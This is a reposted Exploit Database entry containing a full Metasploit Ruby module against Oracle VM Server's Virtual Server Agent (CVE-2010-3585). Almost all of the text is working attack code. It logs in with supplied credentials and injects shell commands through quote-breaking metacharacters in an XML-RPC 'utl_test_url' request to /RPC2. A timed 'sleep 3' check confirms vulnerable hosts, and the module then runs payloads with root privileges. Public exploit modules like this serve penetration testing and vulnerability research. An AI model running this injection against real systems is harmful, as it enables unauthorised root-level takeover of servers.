Oracle VM Server Virtual Server Agent – Command Injection (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-10-25
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16915/

• ##
  # $Id: oracle_vm_agent_utl.rb 10821 2010-10-25 20:58:49Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Oracle VM Server Virtual Server Agent Command Injection',
  			'Description'=> %q{
  					This module exploits a command injection flaw within Oracle\'s VM Server
  				Virtual Server Agent (ovs-agent) service.
  
  				By including shell meta characters within the second parameter to the 'utl_test_url'
  				XML-RPC methodCall, an attacker can execute arbitrary commands. The service
  				typically runs with root privileges.
  
  				NOTE: Valid credentials are required to trigger this vulnerable. The username
  				appears to be hardcoded as 'oracle', but the password is set by the administrator
  				at installation time.
  			},
  			'Author' => [ 'jduck' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10821 $',
  			'References' =>
  				[
  					# ovs-agent.spec:- Fix ovs agent command injection [orabug 10146644] {CVE-2010-3585}
  					['CVE', '2010-3585'],
  					['OSVDB', '68797'],
  					['BID', '44047']
  				],
  			'Privileged' => true,
  			'Platform' => ['unix', 'linux'],
  			'Arch' => ARCH_CMD,
  			'Payload'=>
  				{
  					'Space' => 512,
  					'BadChars' => '<>',
  					'DisableNops' => true,
  					'Keys'=> ['cmd', 'cmd_bash'],
  				},
  			'Targets'=> [ ['Automatic', { }], ],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Oct 12 2010'
  			))
  
  		register_options(
  			[
  				Opt::RPORT(8899),
  				OptBool.new('SSL', [ true, 'Use SSL', true ]),
  				OptString.new('CMD', [ false,"A single command to execute instead of the payload" ]),
  				OptString.new('USERNAME', [ true,"The user to authenticate as", 'oracle']),
  				OptString.new('PASSWORD', [ true,"The password to authenticate with" ])
  			], self.class)
  
  		deregister_options(
  			'HTTP::junk_params', # not your typical POST, so don't inject params.
  			'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
  			)
  	end
  
  	def go(command)
  		datastore['BasicAuthUser'] = datastore['USERNAME']
  		datastore['BasicAuthPass'] = datastore['PASSWORD']
  
  		xml = <<-EOS
  <?xml version="1.0"?>
  <methodCall>
  <methodName>utl_test_url</methodName>
  <params><param>
  <value><string>PARAM1</string></value>
  </param></params>
  <params><param>
  <value><string>PARAM2</string></value>
  </param></params>
  <params><param>
  <value><string>PARAM3</string></value>
  </param></params>
  <params><param>
  <value><string>PARAM4</string></value>
  </param></params>
  </methodCall>
  EOS
  
  		sploit = rand_text_alphanumeric(rand(128)+32)
  		sploit << "';" + command + ";'"
  
  		xml.gsub!(/PARAM1/, 'http://' + rand_text_alphanumeric(rand(128)+32) + '/')
  		xml.gsub!(/PARAM2/, sploit)
  		xml.gsub!(/PARAM3/, rand_text_alphanumeric(rand(128)+32))
  		xml.gsub!(/PARAM4/, rand_text_alphanumeric(rand(128)+32))
  
  		res = send_request_cgi(
  			{
  				'uri'=> '/RPC2',
  				'method' => 'POST',
  				'ctype'=> 'application/xml',
  				'data' => xml,
  			}, 5)
  
  		if not res
  			if not session_created?
  				print_error('Unable to complete XML-RPC request')	
  				return nil
  			end
  			
  			# no response, but session created!!!
  			return true
  		end
  
  		case res.code
  		when 403
  			print_error('Authentication failed!')
  			return nil
  
  		when 200
  			print_good('Our request was accepted!')
  			return res
  
  		end
  
  		print_error("Encountered unexpected #{res.code} reponse:")
  		print_error(res.inspect)
  
  		return nil
  	end
  
  	def check
  		print_status("Attempting to detect if the server is vulnerable...")
  
  		# Try running/timing sleep 3
  		start = Time.now
  		go('sleep 3')
  		elapsed = Time.now - start
  		if elapsed >= 3 and elapsed <= 4
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		print_status("Attempting to execute the payload...")
  
  		cmd = datastore['CMD']
  		cmd ||= payload.encoded
  
  		if not go(cmd)
  			raise RuntimeError, "Unable to execute the desired command"
  		end
  
  		handler
  	end
  
  end